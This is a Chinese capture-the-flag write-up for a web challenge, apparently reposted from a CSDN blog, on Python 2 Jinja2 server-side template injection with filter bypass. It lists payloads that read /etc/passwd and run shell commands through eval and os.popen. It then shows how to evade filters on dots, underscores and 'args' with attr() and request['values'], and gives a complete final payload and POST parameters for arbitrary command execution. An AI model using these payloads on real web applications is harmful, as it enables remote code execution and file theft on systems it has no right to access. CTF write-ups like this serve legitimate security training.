xmctf web11-考核(模板注入绕过)

web11-考核(模板注入绕过)

输入name=1发现存在回显,猜测为模板注入,经过测试发现过滤了 . _ 和一些关键字
py2模板注入常见payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )
过滤了.可以用getattr或者attr绕过
例如 ''.__class__可以写成 getattr('',"__class__")或者 ''|attr("__class__")
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
因为还过滤了 args所以我们用request['values']和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__
最终payload?name={{ ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }}
然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()
发现在根目录下又flag但是打不开,我这里使用的base64编码绕过的
cat /fl4g|base64

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/106929215